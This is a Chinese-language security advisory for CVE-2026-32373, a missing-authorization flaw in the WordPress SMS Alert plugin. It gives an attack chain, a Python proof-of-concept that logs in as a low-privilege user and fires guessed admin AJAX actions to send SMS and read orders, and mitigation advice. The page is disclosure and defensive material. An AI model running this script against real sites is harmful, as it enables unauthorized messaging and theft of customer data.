IPBUF安全漏洞报告
English
CVE-2026-32373 CVSS 5.4 中危

CVE-2026-32373 WordPress SMS Alert插件缺失授权漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-32373
漏洞类型
缺失授权 (Missing Authorization)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Cozy Vision SMS Alert Order Notifications (WordPress sms-alert插件)

相关标签

缺失授权访问控制失效WordPress插件漏洞SMS AlertBroken Access ControlCVE-2026-32373中危漏洞权限绕过电子商务安全短信通知漏洞

漏洞概述

CVE-2026-32373是WordPress插件SMS Alert Order Notifications中存在的一个高危安全漏洞。该插件版本从某个未知版本到3.9.0都受到影响。漏洞类型为缺失授权(Missing Authorization),属于访问控制类安全缺陷。攻击者可利用此漏洞绕过正常的权限检查,执行原本需要更高权限才能进行的操作。具体而言,该插件的SMS告警订单通知功能存在访问控制配置错误,低权限用户(如订阅者、贡献者等)可能能够访问或修改本应仅限管理员或其他高权限用户才能操作的功能。此漏洞由Patchstack安全团队的[email protected]发现并报告,CVSS 3.1评分达到5.4分(中等严重程度)。由于该插件用于电商网站的订单短信通知功能,攻击成功可能导致敏感订单信息泄露或未经授权的短信发送,造成经济损失和声誉损害。

技术细节

该漏洞存在于SMS Alert插件的订单通知功能模块中,属于典型的Broken Access Control(访问控制失效)问题。在正常的WordPress插件开发中,涉及敏感操作(如发送订单通知短信、管理订阅用户、修改插件设置等)应当进行权限检查,确保只有具有相应角色的用户才能执行。然而,该插件在处理某些API请求或前端功能时,未正确实现current_user_can()或类似的权利检查函数。具体表现为:1) 插件的某些端点缺少nonce验证或权限检查;2) AJAX动作钩子未正确注册权限回调;3) 直接通过URL参数传递敏感操作而未验证用户身份。攻击者可以利用WordPress内置的角色和权限系统,以低权限账户身份构造恶意请求,触发本应由管理员执行的短信发送逻辑。这不仅可能导致短信费用损失,还可能造成订单数据泄露或业务逻辑被滥用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和SMS Alert插件版本,确认版本号 <= 3.9.0
STEP 2
步骤2: 账户创建
攻击者在目标WordPress站点注册一个低权限账户(如订阅者角色),该角色通常只能阅读内容
STEP 3
步骤3: 请求构造
攻击者分析插件的AJAX端点和API结构,构造针对admin-only功能的恶意请求,去除权限验证参数
STEP 4
步骤4: 漏洞利用
使用低权限账户的身份认证Cookie发送构造的请求,由于插件缺少current_user_can()检查,请求被成功执行
STEP 5
步骤5: 数据窃取或操作执行
成功利用后,攻击者可获取订单信息、订阅者手机号码,或触发未经授权的短信发送操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32373 PoC - Missing Authorization in SMS Alert Plugin # This PoC demonstrates the broken access control vulnerability # Requires a low-privilege WordPress account (subscriber/contributor role) import requests import json TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_cookies(): """Login to WordPress and obtain authentication cookies""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_sms_alert_vulnerability(cookies): """ Exploit the missing authorization vulnerability This attempts to access admin-only SMS alert functions """ # Target the SMS Alert AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Common vulnerable actions in SMS Alert plugin vulnerable_actions = [ 'sas_fetch_orders', 'sas_send_test_sms', 'sas_save_settings', 'sas_manage_subscribers', 'smsalert_to_get_order_status', 'smsalert_ajax' ] results = [] for action in vulnerable_actions: payload = { 'action': action, 'data': json.dumps({ 'phone': '1234567890', 'message': 'Test exploit message' }) } response = requests.post( ajax_url, data=payload, cookies=cookies ) results.append({ 'action': action, 'status_code': response.status_code, 'response': response.text[:200] }) return results def check_vulnerability(): """Main exploit function""" print("[*] CVE-2026-32373 Exploitation Test") print("[*] Target: SMS Alert Order Notifications Plugin") # Step 1: Authenticate as low-privilege user print("\n[1] Authenticating as low-privilege user...") cookies = get_auth_cookies() if not cookies or 'wordpress_logged_in' not in cookies: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Test vulnerable endpoints print("\n[2] Testing vulnerable endpoints...") results = exploit_sms_alert_vulnerability(cookies) for result in results: if result['status_code'] == 200 and 'error' not in result['response'].lower(): print(f"[+] VULNERABLE: {result['action']}") print(f" Response: {result['response']}") return True if __name__ == "__main__": check_vulnerability()

影响范围

SMS Alert Order Notifications (sms-alert) <= 3.9.0

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制WordPress用户注册功能,仅允许管理员创建账户;2) 使用WordPress安全插件配置IP白名单访问管理后台;3) 临时禁用或替换SMS Alert插件,使用其他替代方案;4) 启用WordPress的日志审计功能,监控异常的用户行为和API请求;5) 对/wp-admin/admin-ajax.php端点实施访问控制,要求请求来源必须来自管理后台。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表